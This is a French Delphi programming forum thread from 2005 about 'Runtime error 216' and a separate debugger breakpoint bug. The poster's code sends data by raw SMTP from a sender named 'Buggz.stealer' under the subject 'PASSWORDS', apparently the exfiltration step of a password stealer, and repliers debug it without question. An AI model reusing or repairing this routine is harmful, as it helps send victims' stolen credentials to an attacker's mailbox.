Runtime error 216

Mxbug Messages postés 47 Date d'inscription mercredi 27 avril 2005 Statut Membre Dernière intervention 9 janvier 2006 - 12 oct. 2005 à 19:36
cs_Loda Messages postés 814 Date d'inscription vendredi 3 novembre 2000 Statut Membre Dernière intervention 30 juillet 2009 - 13 oct. 2005 à 11:50
Yop
pendant l'execution de mon programme qui marchait parfaitement il ya deux jours j'ai : Runtime error 216 in adress 00485464 .
et cela sans raison :( j'ai essayé dans d'autres pc meme chose , le compilateur ne trouve aucune erreur a la compilation .
Help please

10 réponses

cptpingu Messages postés 3837 Date d'inscription dimanche 12 décembre 2004 Statut Modérateur Dernière intervention 28 mars 2023 123
12 oct. 2005 à 20:36
Heu... sans plus de precision ca risque d'être difficile de t'aider...

Quand cela arrive-til ? Que fait ton programme ?

De plus, pas d'erreur a la compilation ne veut en aucun cas dire par d'erreur... (surtout s'il y a des pointeurs)
0
Mxbug Messages postés 47 Date d'inscription mercredi 27 avril 2005 Statut Membre Dernière intervention 9 janvier 2006
12 oct. 2005 à 22:55
Yop
voila une ptite source :

Procedure Wait(code: char);
Begin
writeln(s);
If s[1] <> Code Then halt;
End;
Procedure Echo(s: String);
Begin
writeln(s);
writeln(sout, s);
End;
sHost := 'smtp.laposte.net' ;
sFrom := 'Buggz.stealer@bugplace.com';
sTo := 'buggz.essai@laposte.net ';
sCc := 'test@yahoo.fr';
sSubject := 'PASSWORDS';
sBody := str;


write('call server...');
host := CallServer(sHost, 25);
AssignCrtSock(host, sin, sout);
Wait('2');
Echo('HELO ' + sHost);
Wait('2');
Echo('MAIL From:<' + sFrom + '>');
Wait('2');
Echo('RCPT To:<' + sTo + '>');
Wait('2');
If sCc <> '' Then Begin
Echo('RCPT To:<' + sCc + '>'); //--- deuxième recepteur comme ça tu sera sur de le recevoir
Wait('2');
End;
Echo('DATA');
Wait('3');
Echo('From: ' + sFrom);
Echo('To: ' + sTo);
If sCc <> '' Then Echo('Cc: ' + sCc);
If sType <> '' Then Echo('MIME-Version: 1.0'#13#10'Content-Type: ' + sType + ';'#13#10#9'boundary="' + boundary + '"');
Echo('Subject: ' + sSubject + #13#10);
WriteLn(sout, sBody);
If sType <> '' Then Echo(#13#10'--' + boundary + '--'#13#10);
Echo('.');
Wait('2');

Echo('QUIT');
Wait('2');

Close(Input);
readln;
End.

en debuggant je trouve que l'erreur est ici :
write('call server...');
host := CallServer(sHost, 25);
AssignCrtSock(host, sin, sout);
Wait('2');

exactement ici : AssignCrtSock(host, sin, sout);

j'insiste sur le fait que avant ca marchait tres bien , ne faites pas attention aux variables et tout le reste elle sont declarées plus haut la source contient d'autres fonctions et procedures
0
cptpingu Messages postés 3837 Date d'inscription dimanche 12 décembre 2004 Statut Modérateur Dernière intervention 28 mars 2023 123
12 oct. 2005 à 23:16
Procedure Echo(s: String);

Begin

writeln(s);

writeln(sout, s); // Ici

End;



la variable "sout" est de quelle type ? string ou file ?

Si c'est un type file, alors mieux vaut ouvrir et fermer le fichier a
chaque fois que le laisser ouvert en vue de le fermer qu'a la fin...
(ou a la limite utilise la commande "flush(fichier: file)").

Si c'est un type string, que represente "sout" (s'il doit etre affiché ce qu'il represente quelquechose) ?



C'est vrai que si ton code marchait parfaitement il y a 2 jours, c'est
vraiment étrange... (tu es sur que tu as pas recupérer une vieille
source ?)
0
Mxbug Messages postés 47 Date d'inscription mercredi 27 avril 2005 Statut Membre Dernière intervention 9 janvier 2006
12 oct. 2005 à 23:36
Yop
sin, sout: TextFile;
enfaite je bossais sur la source mais je n'arrive pas a trouver ce que j'ai changé pour que ca ne marche plus :s donc faut pas dire que ca marche plus comme par miracle sinon je vais essayer d'ouvrir le fichier et de le fermer a chaque fois et je te dit .
Merci a toi
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
Mxbug Messages postés 47 Date d'inscription mercredi 27 avril 2005 Statut Membre Dernière intervention 9 janvier 2006
12 oct. 2005 à 23:40
Yop
meme chose :s meme en ouvrant et fermant sout a chaque fois , sinon la commande flush c'est ou que je dois l'utiliser ?
autre idée ?
Merci
0
cptpingu Messages postés 3837 Date d'inscription dimanche 12 décembre 2004 Statut Modérateur Dernière intervention 28 mars 2023 123
12 oct. 2005 à 23:46
flush c'est une sorte de closefile sans vraiment le faire. en fait ca enregistre le fichier mais ca ne referme pas le fichier.

Par exemple:

Assignfile(fichier,'');

append(fichier);

WriteLn(fichier, '');

flush(fichier);

WriteLn(fichier, '');

flush(fichier);

closefile(fichier);



Et "sin" aussi tu le referme bien a chaque fois ?

Dans AssignCrtSock(host, sin, sout); essaie de mettre des valeurs fixes a la place de host, sin et sout.

Quels composants utilise tu ?
0
Mxbug Messages postés 47 Date d'inscription mercredi 27 avril 2005 Statut Membre Dernière intervention 9 janvier 2006
13 oct. 2005 à 00:41
Yop
j'utilise FXSOCKS , j'ai essayé de fermer sin aussi , meme chose :( .
je ne pense vraiment pas que ce soit le probleme vu que je ne me rapelle pas avoir touché aux fichiers .
0
cs_Loda Messages postés 814 Date d'inscription vendredi 3 novembre 2000 Statut Membre Dernière intervention 30 juillet 2009 3
13 oct. 2005 à 09:57
hmmm, j'ai le même type de problème :



un code qui marchait bien, je rajoute du code qui manipule le Clipboard, et



au lancement de mon applic:

runtime 255 puis runtime 216.



Le 255 est dans "LoadResourceModule", le 216 est une conséquence du 255 (une truc d'exception)



En mode pas-à-pas, je n'ai pas de pile d'appel.



LE truc qui tue: c'est que le code que je viens de faire n'est PAS encore appelé.
au mieux j'ai ajouter une var TClipboard dans ma form. J'ai essayé
d'enlever tout le code qui touchait au clip ainsi que le use: rien
changé.



j'ai D6 PRO SP2 (avec RTL_1 mis à jour) sur win2k SP4. J'utilise FastMM4.


tout aide est la bien venue!


Loda



PS: je vous tiens au courant de l'évolution...
0
cs_Loda Messages postés 814 Date d'inscription vendredi 3 novembre 2000 Statut Membre Dernière intervention 30 juillet 2009 3
13 oct. 2005 à 11:13
après quelques recherche, il y a un trojan qui provoque cette erreur (mais ce n'est pas mon cas)



http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q259/2/79.ASP&NoWebContent=1



et certain exe ou drivers. (cela ne devrait pas nous concerner)



le problème vient de LoadResString, plus précisement de l'ouvertue et
de la fermeture d'une clès de la base de registre. (RegCloseKey). Comme
c'est un API win dont l'appel est dans system.pas, je sais pas trop
quoi faire pour corriger le tire.



Je vais essayer de virer l'units qui provoque l'erreur (initialize de SysUtils).

Loda
0
cs_Loda Messages postés 814 Date d'inscription vendredi 3 novembre 2000 Statut Membre Dernière intervention 30 juillet 2009 3
13 oct. 2005 à 11:50
J'ai trouvé! (pour mon cas du moins)



c'est un breakpoint (sur l'instruction asm d'après) qui change le comportement d'une instruction asm push.



j'avais un truc genre push $004xxxxx (la prochaine ligne après l'appel de RegCloseKey), et en mode pas-à-pas, il pushait $CC4xxx une adresse dans les choux.



un bug du débugeur de D6 quoi!



Donc, essayes de virer TOUT tes breakpoints juste pour voir !


Loda



PS: runtime 216 est lié a une violation d'accès.
0
Rejoignez-nous